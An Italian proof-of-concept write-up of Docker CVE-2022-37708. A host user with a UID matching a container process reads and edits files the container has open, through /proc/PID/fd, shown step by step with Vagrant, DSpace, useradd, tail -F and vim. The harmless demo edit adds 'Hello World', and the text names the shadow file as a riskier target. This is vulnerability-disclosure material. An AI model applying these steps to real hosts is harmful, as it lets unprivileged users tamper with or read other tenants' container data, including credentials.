
Docker CVE-2022-37708
Docker CVE-2022-37708.
Questo exploit si basa su come il filesystem UNIX gestisce UID e GID sui file che Docker condivide tra l'Host che esegue Docker e il Client eseguito all'interno di Docker, e si basa anche sulla natura di come funziona la proprietà degli ID di processo.
Questo può essere fatto in praticamente qualsiasi linguaggio che fornisca l'accesso ai descrittori di file. La directory /proc/ espone proprio questo, rendendo l'operazione molto semplice da eseguire con comandi shell.
Si consideri un computer che fornisce un servizio di posta elettronica per più utenti. Questo servizio di posta elettronica viene eseguito all'interno di una distribuzione autonoma in esecuzione in Docker sull'host. La distribuzione autonoma è considerata il "sistema client". Il sistema su cui è in esecuzione Docker è considerato il "sistema host". Il "sistema host" esegue diversi servizi, come "DBUS" per fornire un message-bus. Per motivi di sicurezza, il message-bus "DBUS" viene eseguito come utente non privilegiato "messagebus" con UID 123. L'utente "messagebus" non ha accesso a Docker né al "sistema client". Per motivi di sicurezza, il "sistema client" esegue l'elaborazione della posta come utente non root "emailservice" con UID 123.
Notate come ho indicato che "messagebus" ha un UID di 123 e anche "emailservice" ha un UID 123. Normalmente questo non è un problema perché sono due sistemi separati (il "sistema client" e il "sistema host") e i loro UID e le relative mappature utente non hanno alcuna relazione tra loro.
Se in qualsiasi momento "emailservice" apre una e-mail casuale per elaborarla, "messagebus" avrebbe l'opportunità di vedere e modificare quel file. Poiché l'utente "messagebus" è completamente al di fuori del "sistema client", il "sistema client" non saprebbe mai che questo file potrebbe essere letto e scritto.
Questo può essere ancora più pericoloso se "emailservice" leggesse il file shadow di sistema per validare una combinazione di nome utente e password. "messagebus" avrebbe quindi pieno accesso in lettura e scrittura al file shadow all'interno del "sistema client" per tutto il tempo in cui quel file è aperto nel "sistema client".
Un modo semplice per eseguire l'exploit è fare PID dial nella directory /proc/ cercando i file pid.
Un semplice script bash in un ciclo infinito può cercare periodicamente i file aperti.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
Ci sono due aspetti critici dell'exploit che lo rendono difficile da sfruttare.
Per il primo caso, un ciclo infinito e un po' di magia con gli script possono ovviare al problema. Per il secondo caso, una distribuzione appositamente creata o una distribuzione ben nota possono eliminare la componente fortuna. Se un sistema ha UID predefiniti, dovrebbe essere possibile prevedere quale UID è necessario al di fuori del "sistema client".
Utilizzando una macchina virtuale Vagrant Debian-10 (Buster) come "sistema host" per testare l'exploit:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
All'interno del "sistema host", ottenere l'ultima versione di Docker e seguire le istruzioni qui:
Il "sistema client" di esempio è un prodotto open-source ospitato su Github chiamato DSpace che fornisce un file docker-compose:
Ora clona DSpace ed esegui docker compose:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
Questo progetto crea diverse immagini, ma concentriamoci su "dspace_solr_data".
Confermiamo che l'attraversamento delle directory è protetto:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
Osserviamo il file che voglio sfruttare:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Questo ci dice che il nostro utente fortunato deve avere un UID di 8983 per poter sfruttare la cosa.
Creiamo questo utente fortunato e chiamiamolo "Lightman".
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
Ora osserviamo quei file:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Affinché Lightman possa sfruttare questo, non basta che Lightman sia proprietario dei file: qualche processo ALL'INTERNO del "sistema client" deve avere il file aperto.
Ai fini della dimostrazione di questo exploit, useremo tail -F sul file solr.xml all'interno del "sistema client".
Esegui questa operazione in un terminale separato, accedendo al "sistema host" come utente vagrant.
Individua il contenitore corretto:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
Ora connettiti a solr:8.11-slim.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
L'utente solr ha effettivamente UID 8983.
Ora apri il file solr.xml e tienilo aperto.
# tail -F /var/solr/data/solr.xml
Perfetto, è tutto pronto affinché l'utente Lightman possa fare war dialing alla ricerca dei descrittori di file.
In un terminale separato, con accesso al "sistema host" come utente vagrant, passa all'utente Lightman.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
Usa /proc per effettuare il dial di tutti i descrittori di file aperti:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
Come puoi vedere, abbiamo due corrispondenze:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
Nota che il percorso /var/solr/data/solr.xml in realtà non esiste sul "sistema host".
Presta molta attenzione al terminale su cui stai eseguendo tail -F mentre fai questo.
Modifica il file aprendolo direttamente tramite il percorso proc:
# vim /proc/12683/fd/3
Vado in fondo al file, scrivo Hello World e salvo la modifica.
Dovresti vedere che, all'interno del "sistema client", anche il file viene aggiornato.
Lightman ha modificato con successo un file su cui non ha alcun accesso in lettura/scrittura legittimo né alcun accesso di attraversamento delle directory. Il file si trova in realtà all'interno di un client Docker in esecuzione su una distribuzione diversa che non ha un utente "Lightman".